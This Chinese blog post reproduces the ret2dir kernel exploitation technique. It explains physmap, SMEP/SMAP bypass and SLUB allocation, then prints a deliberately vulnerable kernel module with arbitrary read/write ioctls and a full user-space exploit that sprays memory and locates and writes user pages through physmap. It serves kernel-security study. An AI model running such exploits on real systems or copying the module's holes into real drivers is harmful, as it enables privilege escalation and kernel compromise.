ret2dir漏洞复现
作者:互联网
参考的博客:
ret2dir漏洞复现
原理
ret2dir是利用内核空间和用户空间的隐性地址共享来实现对一些SMEP和SMAP保护机制进行绕过
SMAP保护机制保证了内核只可以对内核空间里的数据进行访问,而physmap恰好处在内核空间中,却可以映射用户空间映射的物理地址
SMEP保护机制保证了内核态下无法执行用户空间的代码
liinux x86_64内存布局
- 低128TB为用户空间
- 在内核空间中,有一项名为physical_memory,physmap直接映射区
physmap:内核空间中一个大的、连续的虚拟内存空间,用来映射部分或所有(取决于具体架构)的物理内存
linux内核内存分配方式
-
伙伴系统
伙伴算法以页为单位来管理内存。
-
slub分配器
在大多数情况下,程序需要的并不是一整页,而是几字节、几十个字节的小内存,于是出现了slub算法,slub系统运行在伙伴系统之上,为内核提供小内存管理的功能。
slub把内存分组管理,每个组分别为 2 3 2^3 23、 2 4 2^4 24、 2 11 2^{11} 211 个字节大小,在4K页大小的默认情况下,另外还有两个特殊的组,分别为96B和192B大小,共11组,其数据结构为
kmalloc_cache[12]
。slub相当于零售商,向伙伴系统批发内存,然后再零售出去。
如上图所示,这也是伙伴算法运行的一个示意图在
kmalloc_caches[12]
中,每一项都代表一种大小的slub
分配器,它叫做kmalloc_cache
。kmalloc_cache
中包含两个对象分别为 仓库kmem_cache_node
、营业厅kmem_cache_cpu
。其中营业厅中只保留一个slab,只有在营业厅kmem_cache_cpu
中没有空闲内存object
情况下才会从仓库中换出其他的slab
。slab
就是零售商kmem_cache
批发的连续的整页内存,零售商将这些整页的内存分成许多小内存object
,然后分别零售出去,一个slab
可能包含很多页,其大小与零售商有关。那么在向slub申请内存块时,slub系统把内存块当做object看待,分别有如下几种情况
-
slub系统刚刚创建出来,本次申请内存是第一次申请
此时slub刚建立,
kmem_cache_cpu
和kmem)cache_node
都没有slab可用。因此只能向伙伴算法申请空闲的内存页,并把这些页面分为很多个object,取出一个object标志为占用,并返回给用户。其余object标志为空闲并放在kmem_cache_cpu
中保存。kmem_cache_cpu
中的freelist
指向下一个空闲的object,每一个空闲object也会指向下一个空闲object -
slub的
kmem_cache_cpu
中保存的slab中有空闲的object可用这种情况,
kmem_cache_cpu
直接将空闲的object分配给用户,并将freelist
指向下一个空闲的object -
slub的
kmem_cache_cpu
中保存的slab的object已经分配完了,但是kmem_cache_node
的partial中还有有空闲object的slab。所以从
kmem_cache_node
的partial中获取一个slab调入kmem_cache_cpu
,并将kmem_cache_cpu
已经分配完的slab放入kmem_cache_node
的full指向的数据结构中。 -
slub的
kmem_cache_cpu
中无空闲object了,kmem_cache_node
也没有空闲的object此时需要将
kmem_cache_cpu
中分配完的slab放入kmem_cache_node
中full指向的双链表中,然后向伙伴系统申请一个新的slab,并分配一个空闲的object给用户。
同样,在释放内存块时,也有三种情况
-
slab是满的
那么就从该slab中的待释放object添加到空闲队列中,然后将该slab移到
kmem_cache_node
的partial
双链表中 -
slab不满,释放Object后也不是全空
直接将该object加入到空闲队列中即可
-
slab不满,释放object后全空
将object加入到空闲队列后,还需要把该slab释放掉
slub实现了拿回来的object的第一个地址字存储的是free list,也恰好是某个object的地址
-
-
漏洞利用方式
- mmap喷射大量内存,提高命中概率
- 在内核态分配内存,返回内存地址,泄露slab地址
- 劫持内核执行流到physmap上
实现
内核模块的实现
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>
MODULE_LICENSE("GPL");
#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args {
uint64_t addr;
uint64_t size;
char __user *buf; // pointer to user space;
};
// 从内核空间中读取数据到用户空间
static long read_any(struct in_args *args) {
long ret = 0;
char *addr = (void *)args->addr;
if (copy_to_user(args->buf, addr, args->size)) {
return -EINVAL;
}
return ret;
}
// 将用户空间中的数据写到内核空间中
static long write_any(struct in_args *args) {
long ret = 0;
char *addr = (void *)args->addr;
if (copy_from_user(addr, args->buf, args->size)) {
return -EINVAL;
}
return ret;
}
// 在内核空间中创建一块内存,并向用户空间返回其首地址
static long add_any(struct in_args *args) {
long ret = 0;
char *buffer = kmalloc(args->size, GFP_KERNEL);
if (buffer == NULL) {
return -ENOMEM;
}
if (copy_to_user(args->buf, &buffer, 0x8)) {
return -EINVAL;
}
return ret;
}
// 释放一块内存
static long del_any(struct in_args *args) {
long ret = 0;
kfree((void *)args->addr);
return ret;
}
// 内核态ioctl处理程序
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long args) {
long ret = -EINVAL;
struct in_args in;
if (copy_from_user(&in, (void *)args, sizeof(in))) {
return ret;
}
switch (cmd) {
case READ_ANY:
ret = read_any(&in);
break;
case WRITE_ANY:
ret = write_any(&in);
break;
case ADD_ANY:
ret = add_any(&in);
break;
case DEL_ANY:
ret = del_any(&in);
break;
default:
ret = -1;
}
return ret;
}
// vfs_ioctl将通过fops->unlocked_ioctl调用驱动程序
static const struct file_operations fops = {
.owner = THIS_MODULE,
.open = NULL,
.release = NULL,
.read = NULL,
.write = NULL,
.unlocked_ioctl = kpwn_ioctl
};
// 注册一个字符设备,名称为kpwn,关联fops
static struct miscdevice misc = {
.minor = MISC_DYNAMIC_MINOR,
.name = "kpwn", // 注册时将在/dev/文件夹下创建一个kpwn设备
.fops = &fops
};
int init_module(void) {
printk(KERN_INFO "Good Morning! hacker");
int ret = misc_register(&misc);
if (ret) {
printk(KERN_INFO "misc register error!");
return ret;
}
return 0;
}
void cleanup_module(void) {
printk(KERN_INFO "Good Bye! hhh");
misc_deregister(&misc);
}
用户层代码的实现
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
void x64dump(char *buf, uint32_t num) {
u64 *buf64 = (u64 *)buf;
printf("[-x64dump-] start : \n");
for (int i = 0; i < num; i++) {
if (i % 2 == 0 && i) printf("\n");
printf("0x%0161x ", *(buf64 + i));
}
printf("n[-x64dump-] end ... \n");
}
void loge(char *buf) {
printf("[err] : %s\n", buf);
exit(EXIT_FAILURE);
}
void logs(char *tag, char *buf) {
printf("[ s]: ");
printf(" %s ", tag);
printf(": %s\n", buf);
}
void logx(char *tag, u32 num) {
printf("[ x] ");
printf(" %-20s ", tag);
printf(": %-#8x\n", num);
}
void loglx(char *tag, u64 num) {
printf("[ lx] ");
printf(" %-20s ", tag);
printf(": %-#16lx\n", num);
}
void bp(char *tag) {
printf("[bp] : %s\n", tag);
getchar();
}
#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args {
uint64_t addr;
uint64_t size;
char *buf;
};
void add_any(int fd, u64 size, char *buf) {
struct in_args in;
in.buf = buf;
in.size = size;
long res = ioctl(fd, ADD_ANY, &in);
}
// copy from kernel to user
void read_any(int fd, u64 addr, char *buf, u64 size) {
struct in_args in;
in.addr = addr;
in.size = size;
in.buf = buf;
long res = ioctl(fd, READ_ANY, &in);
}
// copy from user to kernel
void write_any(int fd, u64 addr, char *buf, u64 size) {
struct in_args in;
in.addr = addr;
in.buf = buf;
in.size = size;
long res = ioctl(fd, WRITE_ANY, &in);
}
void del_any(int fd, u64 addr) {
struct in_args in;
in.addr = addr;
long res = ioctl(fd, DEL_ANY, &in);
}
#define spray_times 32*32
#define mp_size 1024*64
void *spray[spray_times];
void heap_spray() {
void *mp;
for (int i = 0; i < spray_times; i++) {
if ((mp = mmap(NULL, mp_size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)) == MAP_FAILED) {
logs("error", "heap spray");
exit(0);
}
memset(mp, 'K', mp_size);
spray[i] = mp;
}
}
u64 check() {
int i = 0;
for (i = 0; i < spray_times; i++) {
u64 *p = spray[i];
int j = 0, upper = mp_size / 8;
while (j < upper) {
if (p[j] != 0x4b4b4b4b4b4b4b4b) {
loglx("check change", (u64)&p[j]);
return &p[j];
}
j += 0x1000 / 8;
}
}
return NULL;
}
int main() {
int fd = open("/dev/kpwn", O_RDONLY);
logx("fd", fd);
char *target = "KKKKKKKKKKKKKKKK";
char *buf = malloc(0x1000);
char *dirty = malloc(0x100);
memset(dirty, 'A', 0x100);
u64 *buf64 = (u64 *)buf;
// copy from kernel to buf
add_any(fd, 0x200, buf);
// 'k' -> 'K'
heap_spray();
loglx("buf64 = ", buf64[0]);
u64 slab_addr = buf64[0];
slab_addr = slab_addr & 0xffffffffff000000;
loglx("slab_addr", slab_addr);
u64 addr = slab_addr;
u64 pos = 0;
u64 addr_to_change = 0;
for (; addr < 0xffffc80000000000; addr += 0x1000) {
memset(buf, 0, 0x1000);
read_any(fd, addr, buf, 0x1000);
pos = (u64) memmem(buf, 0x1000, target, 0x10);
if (pos) {
addr_to_change = addr + pos - (u64)buf;
loglx("physmap hit addr", addr);
loglx("addr to change", addr_to_change);
write_any(fd, addr_to_change, dirty, 0x20);
u64 *p = check();
if (p) {
logs("userspace", "already changed");
x64dump((char *)p, 0x10);
break;
}
}
}
bp("wait");
return 0;
}
收获
ioctl的执行过程
-
用户代码中执行
ioctl(fd, cmd, args)
其中cmd是有要求的,这里就不细说了
-
用户代码的ioctl转去执行系统调用
sys_ioctl
,在32位平台下使用int 0x80
中断转而执行系统调用,也可以采用sysenter
进行系统调用,sysenter
的效率相对较高,在64位系统可以直接使用syscall
执行系统调用 -
因为2010的一个CVE,内核中对
sys_ioctl
套了一个壳,在里面进行了两个安全检查,再执行do_vfs_ioctl
-
do_vfs_ioctl
中对设备进行了判别,若为常规文件,则执行file_ioctl
,否则执行vfs_ioctl
-
在
vfs_ioctl
中,会去调用misc设备的fops->unlocked_ioctl
程序 -
在注册Misc设备时,会在
/dev/
文件夹下创建一个设备,名称为misc
结构体里面指定的name
ioctl新增的两个安全检测机制
- fget_light():检验完整性
- security_file_ioctl():检验操作安全性
标签:cache,addr,slab,args,漏洞,ioctl,复现,buf,ret2dir 来源: https://blog.csdn.net/bunner_/article/details/115018315